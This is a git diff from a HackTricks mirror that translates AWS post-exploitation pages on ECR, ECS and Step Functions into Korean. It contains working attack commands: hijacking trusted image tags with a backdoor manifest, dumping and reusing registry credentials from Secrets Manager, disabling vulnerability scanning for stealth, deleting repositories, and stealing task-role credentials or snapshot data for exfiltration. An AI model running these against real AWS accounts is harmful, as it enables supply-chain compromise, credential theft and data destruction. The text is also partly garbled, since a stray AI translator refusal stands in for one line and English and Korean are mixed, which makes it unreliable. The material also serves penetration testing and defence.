mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
# AWS - ECR 사후 활동
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
자세한 정보는 다음을 확인하세요
|
||||
자세한 내용은 다음을 확인하세요
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
@@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
이미지를 다운로드한 후에는 **민감한 정보가 있는지 확인해야 합니다**:
|
||||
이미지를 다운로드한 후에는 **민감한 정보를 확인하세요**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### 신뢰된 Tag를 `ecr:PutImage`로 덮어쓰기 (Tag Hijacking / Supply Chain)
|
||||
|
||||
만약 소비자가 tag 단위로 배포(예: `stable`, `prod`, `latest`)하고 tags가 변경 가능하다면, `ecr:PutImage`를 사용해 해당 tag 아래에 이미지 manifest를 업로드하여 **신뢰된 Tag를 공격자 제어 콘텐츠로 재지정**할 수 있습니다.
|
||||
|
||||
일반적인 방법 중 하나는 기존의 공격자 제어 하에 있는 tag(또는 digest)의 manifest를 복사해 신뢰된 Tag를 그것으로 덮어쓰는 것입니다.
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO="<repo_name>"
|
||||
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
|
||||
DST_TAG="stable" # trusted tag used by downstream systems
|
||||
|
||||
# 1) Fetch the manifest behind the attacker tag
|
||||
MANIFEST="$(aws ecr batch-get-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-ids imageTag="$SRC_TAG" \
|
||||
--query 'images[0].imageManifest' \
|
||||
--output text)"
|
||||
|
||||
# 2) Overwrite the trusted tag with that manifest
|
||||
aws ecr put-image \
|
||||
--region "$REGION" \
|
||||
--repository-name "$REPO" \
|
||||
--image-tag "$DST_TAG" \
|
||||
--image-manifest "$MANIFEST"
|
||||
|
||||
# 3) Verify both tags now point to the same digest
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
|
||||
```
|
||||
**영향**: `.../$REPO:$DST_TAG`를 가져오는 모든 워크로드는 IaC, Kubernetes 매니페스트 또는 태스크 정의를 변경하지 않고도 공격자가 선택한 콘텐츠를 받게 됩니다.
|
||||
|
||||
#### 하위 소비자 예시: Lambda 컨테이너 이미지가 태그 업데이트로 자동 새로고침되는 경우
|
||||
|
||||
Lambda 함수가 **container image** (`PackageType=Image`)로 배포되고 digest 대신 **ECR tag**(예: `:stable`, `:prod`)을 사용하면, 해당 태그를 덮어쓰는 행위는 함수가 새로고침될 때 공급망 변조를 Lambda 실행 역할 내부에서의 **코드 실행**으로 바꿀 수 있습니다.
|
||||
|
||||
이 상황을 식별하는 방법:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Find image-based Lambda functions and their ImageUri
|
||||
aws lambda list-functions --region "$REGION" \
|
||||
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
|
||||
tr '\t' '\n' | while read -r fn; do
|
||||
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
|
||||
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
|
||||
done
|
||||
|
||||
# 2) Check whether a function references a mutable tag (contains ":<tag>")
|
||||
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
|
||||
```
|
||||
갱신이 자주 발생하는 방법:
|
||||
|
||||
- CI/CD 또는 GitOps가 정기적으로 `lambda:UpdateFunctionCode`를 호출(같은 `ImageUri`를 사용하더라도)하여 Lambda가 태그를 다시 해석하도록 강제합니다.
|
||||
- 이벤트 기반 자동화가 ECR 이미지 이벤트(push/tag 업데이트)를 감지하여 갱신용 Lambda/자동화를 트리거합니다.
|
||||
|
||||
신뢰된 태그를 덮어쓸 수 있고 갱신 메커니즘이 존재한다면, 해당 함수의 다음 호출 시 공격자가 제어하는 코드가 실행됩니다. 이 코드는 환경 변수 읽기, 네트워크 리소스 액세스, 그리고 Lambda 역할을 사용해 AWS API를 호출(예: `secretsmanager:GetSecretValue`)할 수 있습니다.
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
이러한 권한 중 하나라도 가진 공격자는 **저장소의 모든 이미지를 삭제하도록 수명 주기 정책을 생성하거나 수정할 수 있습니다** 그리고 **ECR 리포지토리 전체를 삭제할 수 있습니다**. 이로 인해 저장소에 저장된 모든 컨테이너 이미지가 손실됩니다.
|
||||
이 권한들 중 하나라도 가진 공격자는 **리포지토리의 모든 이미지를 삭제하도록 lifecycle policy를 생성하거나 수정**한 다음 **ECR 리포지토리 전체를 삭제**할 수 있습니다. 이는 리포지토리에 저장된 모든 컨테이너 이미지의 손실을 초래합니다.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,21 +148,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
### ECR Pull‑Through Cache (PTC)에서 upstream 레지스트리 자격 증명 탈취
|
||||
|
||||
만약 ECR Pull‑Through Cache가 인증된 업스트림 레지스트리(Docker Hub, GHCR, ACR 등)용으로 구성되어 있다면, 업스트림 자격증명은 예측 가능한 이름 접두사인 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자들은 때때로 ECR admins에게 AWS Secrets Manager에 대한 광범위한 읽기 권한을 부여하여 자격증명 exfiltration 및 AWS 외부에서의 재사용을 가능하게 합니다.
|
||||
ECR Pull‑Through Cache가 인증된 upstream 레지스트리(Docker Hub, GHCR, ACR 등)로 구성된 경우, upstream 자격 증명은 예측 가능한 이름 접두사 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자가 때때로 ECR 관리자에게 광범위한 Secrets Manager 읽기 권한을 부여하여 자격 증명을 AWS 외부로 탈취하거나 재사용할 수 있게 됩니다.
|
||||
|
||||
Requirements
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumerate candidate PTC secrets
|
||||
PTC 후보 secrets 나열하기
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
발견된 secrets를 Dump하고 공통 필드를 parse하기
|
||||
발견된 시크릿을 덤프하고 공통 필드를 파싱합니다
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -114,25 +172,23 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
선택 사항: leaked creds를 upstream(읽기 전용 로그인)에 대해 검증
|
||||
선택 사항: leaked creds를 업스트림 (read‑only login)에 대해 검증
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
영향
|
||||
- 이 Secrets Manager 항목들을 읽으면 재사용 가능한 upstream 레지스트리 자격 증명(사용자명/비밀번호 또는 토큰)을 얻을 수 있으며, 이는 upstream 권한에 따라 AWS 외부에서 비공개 이미지를 pull하거나 추가 리포지토리에 접근하는 데 악용될 수 있습니다.
|
||||
영향 - 이러한 Secrets Manager 항목을 읽으면 재사용 가능한 업스트림 레지스트리 자격 증명(사용자명/비밀번호 또는 토큰)을 얻을 수 있으며, 이는 AWS 외부에서 악용되어 프라이빗 이미지를 가져오거나 업스트림 권한에 따라 추가 리포지토리에 접근하는 데 사용될 수 있습니다.
|
||||
|
||||
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
### 레지스트리 수준 은폐: `ecr:PutRegistryScanningConfiguration`를 통해 스캐닝을 비활성화하거나 하향 조정
|
||||
레지스트리 수준의 ECR 권한을 가진 공격자는 레지스트리 스캐닝 구성을 scan-on-push 규칙 없이 BASIC으로 설정하여 모든 리포지토리에 대한 자동 취약점 스캐닝을 은밀하게 축소하거나 비활성화할 수 있습니다. 이렇게 하면 새 이미지 푸시가 자동으로 스캔되는 것을 막아 취약하거나 악성인 이미지를 은폐합니다.
|
||||
|
||||
레지스트리 수준의 ECR 권한을 가진 공격자는 레지스트리 스캐닝 구성을 scan-on-push 규칙 없이 BASIC으로 설정하여 모든 리포지토리에 대한 자동 취약성 스캐닝을 조용히 축소하거나 비활성화할 수 있습니다. 이렇게 하면 새로 푸시된 이미지는 자동으로 스캔되지 않아 취약하거나 악성인 이미지가 숨겨집니다.
|
||||
|
||||
요구 권한
|
||||
요구 사항
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (선택 사항, 리포지토리별)
|
||||
- ecr:PutImageScanningConfiguration (선택 사항, 저장소별)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (검증)
|
||||
|
||||
레지스트리 전체를 수동으로 하향 조정 (자동 스캔 없음)
|
||||
레지스트리 전체를 수동(자동 스캔 없음)으로 다운그레이드
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -144,7 +200,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
repo와 image로 테스트
|
||||
리포지토리와 이미지로 테스트
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -159,7 +215,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
선택 사항: repo scope에서 추가로 권한을 축소
|
||||
I don't have access to that file. Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md here and I'll translate it to Korean while preserving all markdown, tags, links, and paths.
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,19 +224,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
영향
|
||||
- 레지스트리 전체에 걸친 새로운 이미지 푸시는 자동으로 스캔되지 않아 취약하거나 악성인 콘텐츠에 대한 가시성이 줄어들고 수동 스캔이 시작될 때까지 탐지가 지연됩니다.
|
||||
- 레지스트리 전반에 걸쳐 푸시된 새로운 이미지가 자동으로 스캔되지 않아 취약하거나 악성인 콘텐츠에 대한 가시성이 줄어들고 수동 스캔이 시작될 때까지 탐지가 지연됩니다.
|
||||
|
||||
|
||||
### 레지스트리 전체 스캐닝 엔진 강등 `ecr:PutAccountSetting`을 통해 (AWS_NATIVE -> CLAIR)
|
||||
### 레지스트리 전체 스캔 엔진 다운그레이드 `ecr:PutAccountSetting`을 통해 (AWS_NATIVE -> CLAIR)
|
||||
|
||||
기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환하면 레지스트리 전체의 취약점 탐지 품질을 저하시킬 수 있습니다. 이 작업은 스캐닝을 비활성화하지는 않지만 결과/범위에 실질적인 변화를 초래할 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캔 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다.
|
||||
레지스트리 전체에 걸쳐 취약점 탐지 품질을 저하시킬 수 있으며, 기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환함으로써 발생합니다. 이로 인해 스캔이 완전히 비활성화되지는 않지만 결과나 커버리지가 실질적으로 달라질 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캐닝 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다.
|
||||
|
||||
요구 사항
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (선택 사항) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
영향
|
||||
- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION`이 `CLAIR`로 설정되어 이후의 BASIC 스캔이 강등된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다.
|
||||
- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION`가 `CLAIR`로 설정되어 이후의 BASIC 스캔들이 다운그레이드된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다.
|
||||
|
||||
단계
|
||||
```bash
|
||||
@@ -201,7 +257,7 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### ECR 이미지의 취약점 스캔
|
||||
### ECR 이미지 취약점 스캔
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
||||
@@ -10,10 +10,10 @@ For more information check:
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 호스트 IAM 역할
|
||||
### 호스트 IAM Roles
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
이는 ECS 인스턴스를 **compromise**할 수 있다면 잠재적으로 **ECR 및 EC2 인스턴스와 연결된 IAM role을 얻을 수 있음을** 의미합니다. 이러한 자격증명을 얻는 방법에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
@@ -26,19 +26,19 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
|
||||
#### 현재 호스트에서 컨테이너를 실행시키기
|
||||
#### 현재 호스트에서 containers 실행시키기
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
같은 기법은 **deregistering the EC2 instance from the cluster**로 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 **force the tasks to be run in other instances:**
|
||||
동일한 기법은 **클러스터에서 EC2 인스턴스의 등록을 해제**함으로써 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 작업이 다른 인스턴스에서 실행되도록 **강제합니다:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
작업 재실행을 강제하는 마지막 기법은 ECS에 **task or container was stopped**을 알리는 것입니다. 이를 위해 사용할 수 있는 API는 3가지가 있습니다:
|
||||
작업의 재실행을 강제하는 마지막 기법은 ECS에 **task or container was stopped**을 알리는 것입니다. 이를 위해 사용할 수 있는 API는 3가지가 있습니다:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,29 +50,38 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### ECR 컨테이너에서 민감한 정보 탈취
|
||||
#### 공격자 호스트로 클러스터에 합류하기 (Register Container Instance)
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **이미지 다운로드** (you could search for sensitive info in them).
|
||||
다른 변형(드레이닝보다 더 직접적인 방법)은 EC2 인스턴스를 container instance로 등록하고(`ecs:RegisterContainerInstance`) 필요한 container instance 속성을 설정하여 placement constraints가 일치하도록 함으로써 **자신이 제어하는 용량을 추가하는 것**입니다. 작업들이 여러분의 호스트에 배치되면, 컨테이너를 inspect/exec into containers하여 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` 자격증명을 수집할 수 있습니다.
|
||||
|
||||
See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.
|
||||
|
||||
### ECR 컨테이너에서 민감한 정보 훔치기
|
||||
|
||||
EC2 인스턴스는 아마도 `ecr:GetAuthorizationToken` 권한도 가지고 있어 **이미지를 다운로드**할 수 있습니다(이미지 안에서 민감한 정보를 찾을 수 있음).
|
||||
|
||||
### Steal Task Role Credentials via `ecs:ExecuteCommand`
|
||||
|
||||
If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials:
|
||||
|
||||
- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
|
||||
- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role
|
||||
|
||||
### EBS 스냅샷을 ECS 태스크에 직접 마운트 (configuredAtLaunch + volumeConfigurations)
|
||||
See the ECS privilege escalation page for enumeration and command examples.
|
||||
|
||||
네이티브 ECS‑EBS 통합(2024+)을 악용해 기존 EBS 스냅샷의 내용을 새로운 ECS 태스크/서비스 내부에 직접 마운트하고 컨테이너 내부에서 데이터를 읽을 수 있습니다.
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
- 필요 권한(최소):
|
||||
ECS의 네이티브 EBS 통합(2024+)을 악용하여 기존 EBS 스냅샷의 내용을 새 ECS task/service 내부에 직접 마운트하고 컨테이너 안에서 데이터를 읽을 수 있습니다.
|
||||
|
||||
- Needs (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- 다음 중 하나: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole 대상:
|
||||
- 볼륨에 사용되는 ECS 인프라 역할 (정책: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- 태스크 정의에서 참조되는 Task execution/Task 역할
|
||||
- 스냅샷이 CMK로 암호화된 경우: 인프라 역할에 대한 KMS 권한 필요 (위 AWS 관리형 정책에는 AWS 관리형 키에 필요한 KMS 권한이 포함되어 있음).
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- 영향: 스냅샷에서 임의의 디스크 내용을(예: 데이터베이스 파일) 컨테이너 내부에서 읽고 네트워크/로그를 통해 exfiltrate할 수 있음.
|
||||
- Impact: 컨테이너 내에서 스냅샷의 임의 디스크 내용을 읽고(예: 데이터베이스 파일) exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
@@ -83,7 +92,7 @@ aws iam create-role --role-name ecsInfrastructureRole \
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) task definition을 등록하여 `configuredAtLaunch`로 표시된 volume을 포함시키고 container에 마운트합니다. 예시 (prints the secret then sleeps):
|
||||
2) `configuredAtLaunch`로 표시된 volume을 가진 task definition을 등록하고 이를 container에 마운트합니다. 예시 (비밀을 출력한 후 대기):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -103,7 +112,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) `volumeConfigurations.managedEBSVolume`를 통해 EBS snapshot을 전달하여 서비스를 생성하거나 업데이트합니다 (infra role에 대한 `iam:PassRole` 필요). 예:
|
||||
3) EBS 스냅샷을 `volumeConfigurations.managedEBSVolume`로 전달하여 서비스를 생성하거나 업데이트합니다 (infra role에 iam:PassRole 필요). 예:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -117,7 +126,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) task가 시작되면 컨테이너는 구성된 마운트 경로(예: `/loot`)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate는 task의 네트워크/로그를 통해 수행하세요.
|
||||
4) 작업이 시작되면, 컨테이너는 구성된 마운트 경로(예: `/loot`)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate via the task’s network/logs.
|
||||
|
||||
정리:
|
||||
```bash
|
||||
@@ -125,8 +134,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## 참고 자료
|
||||
## 참고자료
|
||||
|
||||
- [Latacora - ECS on EC2: IMDS 하드닝의 공백 메우기](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information about this AWS service, check:
|
||||
이 AWS 서비스에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,19 +12,19 @@ For more information about this AWS service, check:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
이 권한은 실행 내의 비밀 데이터를 **노출**할 수 있게 합니다. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 파라미터를 true로 설정해야 합니다.
|
||||
이 권한은 **execution 내부의 비밀 데이터를 노출할 수 있도록 허용합니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 파라미터를 true로 설정해야 합니다.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
이 권한을 가진 공격자는 state machine과 그 버전들 및 alias들을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 중단시키고 데이터 손실을 초래하며, 영향을 받은 state machine을 복구하고 복원하는 데 상당한 시간이 필요하게 만들 수 있습니다. 또한 공격자는 사용된 흔적을 은닉하고 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.
|
||||
이 권한을 가진 공격자는 state machines, 그 버전들 및 aliases를 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 중단시키고, 데이터 손실을 초래하며, 영향을 받은 state machines를 복구하고 복원하는 데 상당한 시간이 필요할 수 있습니다. 또한 공격자는 사용된 흔적을 지우고 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거함으로써 운영을 마비시킬 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - state machine을 삭제하면 해당 state machine에 연결된 모든 버전과 alias도 함께 삭제됩니다.
|
||||
> - state machine alias를 삭제해도 이 alias를 참조하는 state machine 버전은 삭제되지 않습니다.
|
||||
> - 하나 이상의 alias가 현재 참조하고 있는 state machine 버전은 삭제할 수 없습니다.
|
||||
> - Deleting a state machine you also delete all its associated versions and aliases.
|
||||
> - Deleting a state machine alias you do not delete the state machine versions referencing this alias.
|
||||
> - It is not possible to delete a state machine version currently referenced by one or more aliases.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
@@ -33,22 +33,22 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **잠재적 영향**: 중요한 워크플로 중단, 데이터 손실 및 운영 중단.
|
||||
- **Potential Impact**: 중요 워크플로우 중단, 데이터 손실 및 운영 중단.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
이 권한을 가진 공격자는 Map Run의 failure configuration 및 parallel setting을 조작할 수 있어 허용되는 maximum number of child workflow executions를 증가시키거나 감소시켜 서비스의 동작과 성능에 직접적인 영향을 미칠 수 있습니다. 또한 공격자는 tolerated failure percentage and count를 변조하여 이 값을 0으로 낮출 수 있는데, 이럴 경우 항목이 하나라도 실패하면 전체 map run이 실패하여 state machine execution에 직접적인 영향을 주고 중요한 워크플로를 방해할 수 있습니다.
|
||||
이 권한을 가진 공격자는 Map Run의 실패 구성 및 병렬 설정을 조작할 수 있어 허용되는 자식 워크플로우 실행의 최대 수를 증가 또는 감소시킬 수 있으며, 이는 서비스의 성능에 직접적인 영향을 미칩니다. 또한 공격자는 허용되는 실패 비율 및 개수를 조작해 이 값을 0으로 낮출 수 있는데, 이 경우 항목이 하나라도 실패할 때마다 전체 Map Run이 실패하여 state machine 실행에 직접적인 영향을 주고 중요한 워크플로우를 중단시킬 수 있습니다.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **잠재적 영향**: 성능 저하 및 중요한 워크플로우의 중단.
|
||||
- **Potential Impact**: 성능 저하 및 중요한 워크플로우의 중단.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지하여 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이는 트랜잭션 미완료, 업무 운영의 중단, 잠재적인 데이터 손상으로 이어질 수 있습니다.
|
||||
이 권한을 가진 공격자는 모든 상태 머신의 실행을 중단할 수 있어 진행 중인 워크플로우 및 프로세스를 방해할 수 있습니다. 이로 인해 트랜잭션이 완료되지 않거나 비즈니스 운영이 중단되며 잠재적인 데이터 손상이 발생할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 이 동작은 **express state machines**에서 지원되지 않습니다.
|
||||
> 이 작업은 **express state machines**에서 지원되지 않습니다.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
@@ -56,18 +56,60 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
공격자는 Step Functions 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책을 방해할 수 있습니다.
|
||||
공격자는 Step Functions 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 배분, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potential Impact**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
|
||||
**Potential Impact**: 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책의 중단.
|
||||
|
||||
---
|
||||
|
||||
### `states:StartExecution` -> 위험한 싱크로의 입력 주입
|
||||
|
||||
